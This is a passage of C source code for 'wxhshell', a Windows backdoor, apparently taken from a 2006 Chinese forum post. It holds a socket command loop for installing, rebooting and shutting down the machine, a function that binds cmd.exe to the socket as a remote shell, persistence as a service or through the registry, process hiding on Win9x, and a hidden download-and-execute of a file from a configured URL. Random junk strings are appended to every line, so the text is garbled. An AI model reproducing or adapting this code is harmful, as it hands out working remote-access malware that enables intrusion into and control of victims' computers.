  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CK2B  
  } tE[H8  
  else { 27m@|M] R  
K]X` sH:  
    switch(cmd[0]) { q%>7L<r  
  u+m4!`  
  // 帮助 bMsECA&  
  case '?': { H#35@HF*o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R<|ejw  
    break; Rv,82iEKs  
  } flP>@i:e6  
  // 安装 P'sfi>A  
  case 'i': { UgR :qjI  
    if(Install()) JT04vm4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJ. 7Mt  
    else -^Xy%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'G8 ?'u_)  
    break; B52yaG8C  
    } I+|uU g5  
  // 卸载 JdiP>KXV  
  case 'r': { 3htq[Ren  
    if(Uninstall()) vG~+r<:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=9<  
    else qp>N^)>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $e BQH  
    break; GF'f[F6oI  
    } !MoOKW  
  // 显示 wxhshell 所在路径 !" E-\cc'  
  case 'p': { SNab   
    char svExeFile[MAX_PATH]; h=6xZuA\  
    strcpy(svExeFile,"\n\r"); Ns<?b;aK  
      strcat(svExeFile,ExeFile); fagM7)x  
        send(wsh,svExeFile,strlen(svExeFile),0); Efx=T$%^&  
    break; \0?$wIH?  
    } r P'AJDuq  
  // 重启 {q,?<zBzu  
  case 'b': { =((yWn+t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ 7W?8  
    if(Boot(REBOOT)) *~2cG;B"e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MDHb'<o?y  
    else {  $:EG%jl  
    closesocket(wsh); m[:K"lZ ]2  
    ExitThread(0); ?#BV+#(  
    } G;s"h%Xw98  
    break; : @6mFTV  
    } dJi|D  
  // 关机 fu R2S70d  
  case 'd': { pOA!#Aj)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9I .^LZ"  
    if(Boot(SHUTDOWN)) ',)7GY/n~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +sf .PSz$  
    else { "^Rv#  
    closesocket(wsh); bL`eiol6  
    ExitThread(0); 89H sPB1"t  
    } ^DB{qU  
    break; IQnIaZ  
    } E\M-k\cSj  
  // 获取shell 66\jV6eH7L  
  case 's': { e2w&&B-  
    CmdShell(wsh); Ew$I\j*  
    closesocket(wsh); ~L{l+jK$p  
    ExitThread(0); Ck'aHe22'  
    break; hXB|g[zT  
  } 4W;S=#1  
  // 退出 JOD/Raq.1k  
  case 'x': { <9eu1^g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lV6dm=k  
    CloseIt(wsh); 4kl Ao$  
    break; A.En+-[\  
    } rs-,0'z,7  
  // 离开 wtH~-xSB|  
  case 'q': { qCPmbg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nxo+?:**  
    closesocket(wsh); )uheV,ZnY  
    WSACleanup(); x#H 3=YD*  
    exit(1); ,[!LCXp  
    break; 'V&Y[7Aeq  
        } t ^SzqB  
  } Vba.uKNjk  
  } GJA`l8`SQ  
=#xK=pRy;  
  // 提示信息 -{jdn%Y7CK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ytAWOt}`  
} J'T=q/  
  } >m6&bfy\q  
wvby?MhPY  
  return; bPbb\|u0d  
} 5:.{oSy7n  
Y.6SOu5$]  
// shell模块句柄 $E!J:Y=  
int CmdShell(SOCKET sock) ,,4 GNbBC  
{ g(E"4M@t!  
STARTUPINFO si; +^|iZbZKx  
ZeroMemory(&si,sizeof(si)); f 2YLk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (eWPis[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EnVuD 9  
PROCESS_INFORMATION ProcessInfo; 8V/L:h#7  
char cmdline[]="cmd"; /j2H A^GT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~NcQ1.  
  return 0; aHzHvl  
} 0Q5^C!K  
o4y']JSN  
// 自身启动模式 ` uCIXb  
int StartFromService(void) Vr.Y/3N&'  
{ @R|'X  
typedef struct V^s0fWa  
{ zbkMFD.{y  
  DWORD ExitStatus; 5*g]qJF  
  DWORD PebBaseAddress; k?GD/$1t  
  DWORD AffinityMask; #KlCZ~s  
  DWORD BasePriority; LPd\-S_rsP  
  ULONG UniqueProcessId; oXsL9,  
  ULONG InheritedFromUniqueProcessId; sBX-X$*N  
}   PROCESS_BASIC_INFORMATION; Z~  
bC!`@/  
PROCNTQSIP NtQueryInformationProcess; q!~ -(&S  
-e GL)M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gbpw5n;e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \c,pEXG  
"_UdBG  
  HANDLE             hProcess; cf_|nL#9  
  PROCESS_BASIC_INFORMATION pbi; hB;VCg8  
igL<g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2-*V=El  
  if(NULL == hInst ) return 0; ^ <`(lyph  
W*DVi_\$y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +avMX&%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9# 4Y1LS)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uQ$^;Pr  
]va>ex$d  
  if (!NtQueryInformationProcess) return 0; 7R.Q Ql  
uE/T2BX*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :e1o<JgPt  
  if(!hProcess) return 0; BAj-akc f  
[jdFA<Is  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wm~` ~P  
Psura$:  
  CloseHandle(hProcess); *.-.iY.a]  
w>fdQ!RdP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `^JJ&)4iv  
if(hProcess==NULL) return 0; OI1ud/>h  
Gc]~w D$  
HMODULE hMod; 7tM9u5FF  
char procName[255]; F7L&=K$2y  
unsigned long cbNeeded; 63|+2-E2Q  
8(g:HR*;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >>b3ZE|5  
Jf)bHjC_V  
  CloseHandle(hProcess); ]r! >{  
]?1Y e8>Y<  
if(strstr(procName,"services")) return 1; // 以服务启动 zJDSbsc$%  
,21 np  
  return 0; // 注册表启动 GDhE[of  
} XfE?C:v   
V=He_9B  
// 主模块 _\PNr.D 8  
int StartWxhshell(LPSTR lpCmdLine) TC~Q G$NW  
{ 02`$OTKz  
  SOCKET wsl; ,t{,_uPJY  
BOOL val=TRUE; =(a1+. O  
  int port=0; .?p\n7  
  struct sockaddr_in door; q+ KzIde|%  
o@]So(9f  
  if(wscfg.ws_autoins) Install(); e~ aqaY~}  
%<?0apO  
port=atoi(lpCmdLine); ;= j@, yu  
M/?KV9Xk2  
if(port<=0) port=wscfg.ws_port; [%50/_h  
x83 !C}4:  
  WSADATA data; |4mpohX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )b<k#(i@#  
f\+f o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y={&5Mir  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IW8+_#d  
  door.sin_family = AF_INET; gj\)CBOv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Wy <?O2  
  door.sin_port = htons(port); <2!v(EkI  
zWpqJK   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yc2/~a_ Gx  
closesocket(wsl); Q%/<ZC.Mz6  
return 1;  $Y=T&O  
} B QcE9~H  
Tmh(= TB'  
  if(listen(wsl,2) == INVALID_SOCKET) { 7&`}~$>}>e  
closesocket(wsl); +,o0-L1D  
return 1; 6.5T/D*TT  
} 8<mjh0F-,  
  Wxhshell(wsl); 0JgL2ayIVI  
  WSACleanup(); nA|.t  
|/g W_;(  
return 0; K.G$]H  
Xi?b]Z  
} 1h*)@  
rC:?l(8ng3  
// 以NT服务方式启动 9Rm/V5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5kdCC0FCk  
{ MYBx&]!\  
DWORD   status = 0; ?u4INZ0W  
  DWORD   specificError = 0xfffffff; n~g)I&  
?JV|dM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %{3 aW>yx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < RCLI|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ca%g_B0t  
  serviceStatus.dwWin32ExitCode     = 0; t}v2$<!I  
  serviceStatus.dwServiceSpecificExitCode = 0; ,>t69 Ad  
  serviceStatus.dwCheckPoint       = 0; {]z4k[;.h  
  serviceStatus.dwWaitHint       = 0; `/Nm 2K  
Z%GTnG|rG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5Z4- Z  
  if (hServiceStatusHandle==0) return; }HE6aF62O  
sC[yI Up  
status = GetLastError(); JFgoN,xn  
  if (status!=NO_ERROR) Bl9jkq ]  
{ tBTTCwNT%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2_Wg!bq  
    serviceStatus.dwCheckPoint       = 0; 64-#}3zL  
    serviceStatus.dwWaitHint       = 0; lpH=2l$>?  
    serviceStatus.dwWin32ExitCode     = status; Ro2d,'   
    serviceStatus.dwServiceSpecificExitCode = specificError; O D Ur  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9N%JP+<89  
    return; H _Va"yTO6  
  } nhG J  
"O8gJ0e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IV lf=k  
  serviceStatus.dwCheckPoint       = 0; ) 'j:  
  serviceStatus.dwWaitHint       = 0; [~:-&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $A3<G-4O  
} i{D=l7j|w  
+GsWTEz   
// 处理NT服务事件,比如:启动、停止 jGrN\D?h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RzhWD^bB  
{ v(OBXa9  
switch(fdwControl) \c[IbL07  
{ Mg#j3W}]  
case SERVICE_CONTROL_STOP: 2MA]jT  
  serviceStatus.dwWin32ExitCode = 0; 9w9jpe#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nA?Hxos  
  serviceStatus.dwCheckPoint   = 0; zrVC8Wb  
  serviceStatus.dwWaitHint     = 0; 6h3HDFS7s  
  { 6Es? MW=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T32BnmB{  
  } y8VpFa  
  return; Q-#$Aa  
case SERVICE_CONTROL_PAUSE: @\&m+;6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Th`skK&U  
  break; S osj$9E  
case SERVICE_CONTROL_CONTINUE: 1b8p~-LsU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4@.|_zY  
  break; %3HVFhl  
case SERVICE_CONTROL_INTERROGATE: iTW? W\d  
  break; Bx[rC  
}; %AOIKK5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8G>>i)Sbg  
} K^r)CCO  
7u\*_mrv  
// 标准应用程序主函数 x\2?ym@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KRJLxNr  
{ [OOS`N4<  
\:> Wpqw  
// 获取操作系统版本 *&AfR8x_z  
OsIsNt=GetOsVer(); {{C`mgC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ::n;VY2&  
0?WcoPU  
  // 从命令行安装 +h2eqNr  
  if(strpbrk(lpCmdLine,"iI")) Install(); -/ ]W+[  
t>B^q3\q?  
  // 下载执行文件 zo;^m|  
if(wscfg.ws_downexe) { J8y0d1SG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \, !Q Jp4  
  WinExec(wscfg.ws_filenam,SW_HIDE); \.XLcz  
} 2cu#lMq  
HE<1v@jW  
if(!OsIsNt) { ,:+d g(\r  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ld^GV   
HideProc(); R{,ooxH\J  
StartWxhshell(lpCmdLine); tweY'x.{  
} .k TG[)F0b  
else A?G IBjs  
  if(StartFromService()) 4`#F^2r!  
  // 以服务方式启动 vi@Lz3}::  
  StartServiceCtrlDispatcher(DispatchTable); )m3q2W  
else &;LqF#ZL  
  // 普通方式启动 I *c;H I  
  StartWxhshell(lpCmdLine); 0'&X T^"  
 n6F/Ac:  
return 0; gBu1QviU  
}
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只看该作者 1 发表于: 2006-10-10
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